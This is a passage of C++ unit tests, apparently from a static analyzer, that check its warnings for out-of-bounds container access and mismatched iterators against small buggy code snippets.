checkNormal(\"char f(bool b) {\\n\"\n \" const std::string s = \\\"\\\";\\n\"\n \" int x = 6;\\n\"\n \" if(b) ++x;\\n\"\n \" return s[x];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: error: Out of bounds access in 's[x]', if 's' size is 6 and 'x' is 6 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" static const int N = 4;\\n\"\n \" std::array x;\\n\"\n \" x[0] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(bool b) {\\n\"\n \" std::vector x;\\n\"\n \" if (b)\\n\"\n \" x.push_back(1);\\n\"\n \" if (x.size() < 2)\\n\"\n \" return;\\n\"\n \" x[0] = 2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if(v.at(b?42:0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: error: Out of bounds access in expression 'v.at(b?42:0)' because 'v' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"void f(std::vector v, bool b){\\n\"\n \" if (v.size() == 1)\\n\"\n \" if(v.at(b?42:0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:16]: warning: Either the condition 'v.size()==1' is redundant or size of 'v' can be 1. Expression 'v.at(b?42:0)' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 'v.size()==1'\\n\"\n \"[test.cpp:3:16]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" T t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { &ArrS } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { { &ArrS } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector> t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { { { &ArrS } } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" T t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { &ArrS } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { { &ArrS } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector> t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { { { &ArrS } } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"extern void Bar(const double, const double);\\n\"\n \"void f(std::vector &r, const double ) {\\n\"\n \" std::vector result;\\n\"\n \" double d = 0.0;\\n\"\n \" const double inc = 0.1;\\n\"\n \" for(unsigned int i = 0; i < 10; ++i) {\\n\"\n \" result.push_back(d);\\n\"\n \" d = (i + 1) * inc;\\n\"\n \" }\\n\"\n \" Bar(1.0, d);\\n\"\n \" Bar(10U, result.size());\\n\"\n \" Bar(0.0, result[0]);\\n\"\n \" Bar(0.34, result[1]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries + 2)\\n\"\n \" v.resize(entries + 2);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: error: Out of bounds access in expression 'v[0]' because 'v' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" if (entries < 2) return;\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" if (entries == 0) return;\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void foo(std::vector* PArr, int n) {\\n\"\n \" std::vector Arr;\\n\"\n \" if (!PArr)\\n\"\n \" PArr = &Arr;\\n\"\n \" PArr->resize(n);\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" (*PArr)[i] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector * pv = &v;\\n\"\n \" return (*pv).at(42);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: error: Out of bounds access in expression '(*pv).at(42)' because '*pv' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"std::string f(const char* DirName) {\\n\"\n \" if (DirName == nullptr)\\n\"\n \" return {};\\n\"\n \" std::string Name{ DirName };\\n\"\n \" if (!Name.empty() && Name.back() != '\\\\\\\\')\\n\"\n \" Name += '\\\\\\\\';\\n\"\n \" return Name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"bool f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if (b)\\n\"\n \" v.push_back(0);\\n\"\n \" for(auto i:v)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:3]: style: Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"std::vector range(int n);\\n\"\n \"bool f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if (b)\\n\"\n \" v.push_back(1);\\n\"\n \" assert(range(v.size()).size() == v.size());\\n\"\n \" for(auto i:range(v.size()))\\n\"\n \" if (v[i] > 0)\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:3]: style: Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"int f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const auto n = (int)v.size();\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:0]: style: Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"int f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const auto n = static_cast(v.size());\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:0]: style: Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"void f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const int n = v.size();\\n\"\n \" h(n);\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" h(v[i]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void foo(const std::vector &v) {\\n\"\n \" if(v.size() >=1 && v[0] == 4 && v[1] == 2){}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:38]: warning: Either the condition 'v.size()>=1' is redundant or size of 'v' can be 1. Expression 'v[1]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:17]: note: condition 'v.size()>=1'\\n\"\n \"[test.cpp:2:38]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"int f(int x, int y) {\\n\"\n \" std::vector a = {0,1,2};\\n\"\n \" if(x<2)\\n\"\n \" y = a[x] + 1;\\n\"\n \" else\\n\"\n \" y = a[x];\\n\"\n \" return y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:14]: warning: Either the condition 'x<2' is redundant or 'x' can have the value greater or equal to 3. Expression 'a[x]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:9]: note: condition 'x<2'\\n\"\n \"[test.cpp:6:14]: note: Access out of bounds\\n\",\n errout_str());\n\n checkNormal(\"int f(std::vector v) {\\n\"\n \" if (v.size() > 3)\\n\"\n \" return v[v.size() - 3];\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" v[v.size() - 1];\\n\"\n \" if (v.size() == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(int n) {\\n\"\n \" std::vector v = {1, 2, 3, 4};\\n\"\n \" const int i = qMin(n, v.size());\\n\"\n \" if (i > 1)\\n\"\n \" v[i] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector& v, int i) {\\n\"\n \" if (i > -1) {\\n\"\n \" v.erase(v.begin() + i);\\n\"\n \" if (v.empty()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void g(const char *, ...) { exit(1); }\\n\" // #10025\n \"void f(const char c[]) {\\n\"\n \" std::vector v = get();\\n\"\n \" if (v.empty())\\n\"\n \" g(\\\"\\\", c[0]);\\n\"\n \" return h(&v[0], v.size()); \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(int i, std::vector v) {\\n\" // #9157\n \" if (i <= (int)v.size()) {\\n\"\n \" if (v[i]) {}\\n\"\n \" }\\n\"\n \" if (i <= static_cast(v.size())) {\\n\"\n \" if (v[i]) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: warning: Either the condition 'i<=(int)v.size()' is redundant or 'i' can have the value v.size(). Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:11]: note: condition 'i<=(int)v.size()'\\n\"\n \"[test.cpp:3:14]: note: Access out of bounds\\n\"\n \"[test.cpp:6:14]: warning: Either the condition 'i<=static_cast(v.size())' is redundant or 'i' can have the value v.size(). Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:5:11]: note: condition 'i<=static_cast(v.size())'\\n\"\n \"[test.cpp:6:14]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"void b(Iterator d) {\\n\"\n \" std::string c = \\\"a\\\";\\n\"\n \" d + c.length();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::string buf;\\n\"\n \" b(buf.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: error: Out of bounds access in expression 'd+c.length()' because 'buf' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"void b(Iterator d) {\\n\"\n \" std::string c = \\\"a\\\";\\n\"\n \" sort(d, d + c.length());\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::string buf;\\n\"\n \" b(buf.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector &v) {\\n\"\n \" return !v.empty() ? 42 : v.back();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:36]: warning: Either the condition 'v.empty()' is redundant or expression 'v.back()' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:20]: note: condition 'v.empty()'\\n\"\n \"[test.cpp:2:36]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"std::vector g() {\\n\" // #10779\n \" std::vector v(10);\\n\"\n \" for(int i = 0; i <= 10; ++i)\\n\"\n \" v[i] = 42;\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: error: Out of bounds access in 'v[i]', if 'v' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int s = 2;\\n\"\n \" std::vector v(s);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 2 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v({ 1, 2, 3 });\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char c[] = { 1, 2, 3 };\\n\"\n \" std::vector v(c, sizeof(c) + c);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char c[] = { 1, 2, 3 };\\n\"\n \" std::vector v{ c, c + sizeof(c) };\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int i[] = { 1, 2, 3 };\\n\"\n \" std::vector v(i, i + sizeof(i) / 4);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\" // #6615\n \" int i[] = { 1, 2, 3 };\\n\"\n \" std::vector v(i, i + sizeof(i) / sizeof(int));\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"test.cpp:4:error:Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100\\n\",\n \"\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a = {};\\n\"\n \" a[10];\\n\"\n \" constexpr std::array b = {};\\n\"\n \" b[10];\\n\"\n \" const std::array c = {};\\n\"\n \" c[10];\\n\"\n \" static constexpr std::array d = {};\\n\"\n \" d[10];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: error: Out of bounds access in 'a[10]', if 'a' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:5:6]: error: Out of bounds access in 'b[10]', if 'b' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:7:6]: error: Out of bounds access in 'c[10]', if 'c' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:9:6]: error: Out of bounds access in 'd[10]', if 'd' size is 10 and '10' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"struct test_fixed {\\n\"\n \" std::array array = {};\\n\"\n \" void index(int i) { array[i]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" test_fixed x = test_fixed();\\n\"\n \" x.index(10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:30]: error: Out of bounds access in 'array[i]', if 'array' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"struct test_constexpr {\\n\"\n \" static constexpr std::array array = {};\\n\"\n \" void index(int i) { array[i]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" test_constexpr x = test_constexpr();\\n\"\n \" x.index(10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:30]: error: Out of bounds access in 'array[i]', if 'array' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" const std::vector& v;\\n\"\n \" A(const std::vector& x) : v(x)\\n\"\n \" {}\\n\"\n \" int f() const {\\n\"\n \" return v[0];\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" static const std::vector v;\\n\"\n \" int f() const {\\n\"\n \" return v[0];\\n\"\n \" }\\n\"\n \"};\\n\"\n \"const std::vector A::v = {1, 2};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct a {\\n\"\n \" std::vector g() const;\\n\"\n \"};\\n\"\n \"int f(const a& b) {\\n\"\n \" auto c = b.g();\\n\"\n \" assert(not c.empty());\\n\"\n \" int d = c.front();\\n\"\n \" return d;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f() {\\n\"\n \" std::map m = { { 1, \\\"1\\\" } };\\n\"\n \" return m.at(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" virtual void init_v(std::vector *v) = 0;\\n\"\n \"};\\n\"\n \"A* create_a();\\n\"\n \"struct B {\\n\"\n \" B() : a(create_a()) {}\\n\"\n \" void init_v(std::vector *v) {\\n\"\n \" a->init_v(v);\\n\"\n \" }\\n\"\n \" A* a;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" B b;\\n\"\n \" std::vector v;\\n\"\n \" b.init_v(&v);\\n\"\n \" v[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector* v) {\\n\"\n \" if (v->empty())\\n\"\n \" v->push_back(1);\\n\"\n \" auto x = v->back();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"template \\n\"\n \"struct Foo {\\n\"\n \" std::array items = {0};\\n\"\n \" T maxCount = count;\\n\"\n \" explicit Foo(const T& maxValue = (std::numeric_limits::max)()) : maxCount(maxValue) {}\\n\"\n \" bool Set(const uint8_t idx) {\\n\"\n \" if (CheckBounds(idx) && items[idx] < maxCount) {\\n\"\n \" items[idx] += 1;\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" static bool CheckBounds(const uint8_t idx) { return idx < count; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo x;\\n\"\n \" if (x.Set(42U)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct S { void g(std::span& r) const; };\\n\" // #11828\n \"int f(const S& s) {\\n\"\n \" std::span t;\\n\"\n \" s.g(t);\\n\"\n \" return t[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"char h() {\\n\"\n \" std::string s;\\n\"\n \" std::string_view sv(s);\\n\"\n \" return s[2];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: error: Out of bounds access in expression 's[2]' because 's' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\" // #12738\n \" std::vector v{ 0, 0.1 };\\n\"\n \" (void)v[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void outOfBoundsSymbolic()\n {\n check(\"void foo(std::string textline, int col) {\\n\"\n \" if(col > textline.size())\\n\"\n \" return false;\\n\"\n \" int x = textline[col];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12] -> [test.cpp:4:21]: (warning) Either the condition 'col>textline.size()' is redundant or 'col' can have the value textline.size(). Expression 'textline[col]' causes access out of bounds. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n void outOfBoundsIndexExpression() {\n setMultiline();\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 's.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[s.size()+1] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 's.size()+1' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[1+s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index '1+s.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[x*s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 'x*s.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"bool f(std::string_view& sv) {\\n\" // #10031\n \" return sv[sv.size()] == '\\\\0';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: error: Out of bounds access of sv, index 'sv.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n }\n void outOfBoundsIterator() {\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" auto it = v.begin();\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Out of bounds access in expression 'it' because 'v' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.begin() + 1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Out of bounds access in 'it', if 'v' size is 1 and 'it' is at position 1 from the beginning [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.end() - 1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.end() - 2;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Out of bounds access in 'it', if 'v' size is 1 and 'it' is at position 2 from the end [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(std::vector x) {\\n\"\n \" std::map m;\\n\"\n \" if (!m.empty()) {\\n\"\n \" g(m.begin()->second);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector vec;\\n\"\n \" std::vector::iterator it = vec.begin();\\n\"\n \" *it = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Out of bounds access in expression 'it' because 'vec' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector vec;\\n\"\n \" auto it = vec.begin();\\n\"\n \" *it = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Out of bounds access in expression 'it' because 'vec' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n void iterator1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::iterator it = l1.begin(); it != l2.end(); ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:40]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::iterator it = l1.begin(); l2.end() != it; ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:52]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct C { std::list l1; void func(); };\\n\"\n \"void C::func() {\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = l1.begin(); it != l1.end(); ++it) { }\\n\"\n \" C c;\\n\"\n \" for (it = c.l1.begin(); it != c.l1.end(); ++it) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Same check with reverse iterator\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::const_reverse_iterator it = l1.rbegin(); it != l2.rend(); ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:54]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" while (it != l2.end())\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:35]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" while (l2.end() != it)\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Same iterator is used with different containers 'l1' and 'l2'. [iterators1]\\n\"\n \"[test.cpp:6:5]: (error) Iterator 'it' referring to container 'l1' is used with container 'l2'. [mismatchingContainerIterator]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #5803\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it, l1.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\" // #7658\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" std::list::iterator end = l1.end();\\n\"\n \" l2.insert(it, end);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // only warn for insert when there are preciself 2 arguments.\n check(\"void foo() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it = l1.begin();\\n\"\n \" l2.insert(it);\\n\"\n \"}\");\n 